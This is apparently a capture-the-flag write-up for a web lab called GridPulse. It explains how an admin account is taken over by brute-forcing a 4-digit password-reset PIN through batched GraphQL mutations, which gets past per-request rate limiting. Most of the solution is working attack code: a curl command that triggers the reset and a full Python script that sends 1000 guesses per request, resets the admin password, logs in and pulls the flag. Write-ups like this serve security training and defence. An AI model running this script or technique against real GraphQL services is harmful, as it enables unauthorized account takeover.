Lab 228 — GridPulse
Lab 228 — GridPulse
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: admin_account_takeover, graphql_batching_bruteforce, password_reset_pin_bruteforce, rate_limit_bypass_via_batching
Summary
Task: GraphQL-based analytics platform with password reset via 4-digit PIN. Apollo Server has batching enabled. Solution: Triggered admin password reset, then brute-forced all 10,000 PINs via GraphQL batching (1000 mutations per request, 10 requests total), bypassing rate limiting. Logged in as admin, found flag at /settings.
Lab 228 — GridPulse — HackAdvisor
Description
GridPulse is a real-time infrastructure analytics platform. It provides dashboards for monitoring server health, network traffic, and system performance metrics. The platform uses a GraphQL API for data operations and has a team of users with different roles.
You have been given access as a regular user. Your mission is to gain access to the admin account and retrieve the flag from admin-only system configuration.
English summary: A Node.js analytics platform with a GraphQL API (Apollo Server). The password reset mechanism uses a 4-digit PIN sent via email. GraphQL batching is enabled, allowing multiple mutations in a single HTTP request. The goal is to take over the admin account and access the flag in admin settings.
Analysis
Reconnaissance
The application has a team page at /team listing all users with their emails and roles:
| Name | Role | |
|---|---|---|
| Marcus Chen | admin@gridpulse.io | Admin |
| Alex Rivera | alex.rivera@gridpulse.io | User |
| ... | ... | ... |
Given credentials: alex.rivera@gridpulse.io / password123
GraphQL Endpoint
The /graphql endpoint is an Apollo Server instance. Introspection is disabled, but the frontend JavaScript files reveal the available mutations:
From /js/forgot-password.js:
forgotPassword(email: String!): ForgotPasswordResponse— triggers a 4-digit PIN to be sentresetPassword(email: String!, pin: String!, newPassword: String!): ResetPasswordResponse— resets password if PIN matches
Batching Discovery
Apollo Server is configured with allowBatchedHttpRequests: true. Sending a JSON array of queries to /graphql returns an array of results — one per query. This is the critical vulnerability: rate limiting is applied per HTTP request, not per GraphQL operation within a batch.
Attack Math
- PIN space: 4 digits = 10,000 possibilities (0000–9999)
- Batch size: 1,000 mutations per HTTP request
- Total requests needed: 10,000 / 1,000 = 10 HTTP requests
- Rate limiting: bypassed because all 1,000 mutations execute in a single HTTP request
Solution
Step 1: Trigger Password Reset for Admin
Send the forgotPassword mutation for the admin email:
bash read-only • copy allowedcurl -s -X POST https://TARGET/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"mutation { forgotPassword(email: \"admin@gridpulse.io\") { success message } }"}'
Response confirms the PIN was "sent":
json read-only • copy allowed{"data":{"forgotPassword":{"success":true,"message":"If an account exists with that email, a reset PIN has been sent."}}}
Step 2: Brute-Force PIN via GraphQL Batching
Send batched resetPassword mutations — 1,000 per HTTP request — to cover all 10,000 possible PINs:
python read-only • copy allowed#!/usr/bin/env python3 """ GridPulse - GraphQL Batching Attack on Password Reset Brute-force 4-digit PIN via batched GraphQL mutations """ import requests import json import sys import re TARGET = "https://TARGET.labs.hackadvisor.io" ADMIN_EMAIL = "admin@gridpulse.io" NEW_PASSWORD = "hacked12345" BATCH_SIZE = 1000 # Send 1000 PINs per request session = requests.Session() # Step 1: Trigger password reset for admin print("[*] Triggering password reset for admin...") resp = session.post(f"{TARGET}/graphql", json={ "query": f'mutation {{ forgotPassword(email: "{ADMIN_EMAIL}") {{ success message }} }}' }) print(f" Response: {resp.json()}") # Step 2: Brute-force PIN via batching print(f"\n[*] Brute-forcing 4-digit PIN via GraphQL batching (batch size: {BATCH_SIZE})...") for batch_start in range(0, 10000, BATCH_SIZE): batch_end = min(batch_start + BATCH_SIZE, 10000) # Build batch of mutations — each as a separate JSON object in an array batch = [] for pin in range(batch_start, batch_end): pin_str = f"{pin:04d}" batch.append({ "query": f'mutation {{ resetPassword(email: "{ADMIN_EMAIL}", pin: "{pin_str}", newPassword: "{NEW_PASSWORD}") {{ success message }} }}' }) print(f" [*] Trying PINs {batch_start:04d}-{batch_end-1:04d}...", end=" ", flush=True) resp = session.post(f"{TARGET}/graphql", json=batch, timeout=60) results = resp.json() # Check each result for success for i, r in enumerate(results): if 'data' in r and r['data'] and r['data'].get('resetPassword', {}).get('success'): pin = batch_start + i print(f"\n[+] SUCCESS! PIN found: {pin:04d}") print(f" Admin password reset to: {NEW_PASSWORD}") # Step 3: Login as admin print("\n[*] Logging in as admin...") login_resp = session.post(f"{TARGET}/auth/login", data={ "email": ADMIN_EMAIL, "password": NEW_PASSWORD }, allow_redirects=True) # Step 4: Find flag settings_resp = session.get(f"{TARGET}/settings") flags = re.findall(r'FLAG\{[0-9a-f]{32}\}', settings_resp.text) if flags: print(f"\n[+] FLAG: {flags[0]}") sys.exit(0) error_count = sum(1 for r in results if 'errors' in r) print(f"errors={error_count}") print("\n[-] PIN not found in range 0000-9999")
Step 3: Results
The PIN 1760 was found in the second batch (PINs 1000–1999). The admin password was successfully reset, and logging in as admin revealed the flag on the /settings page.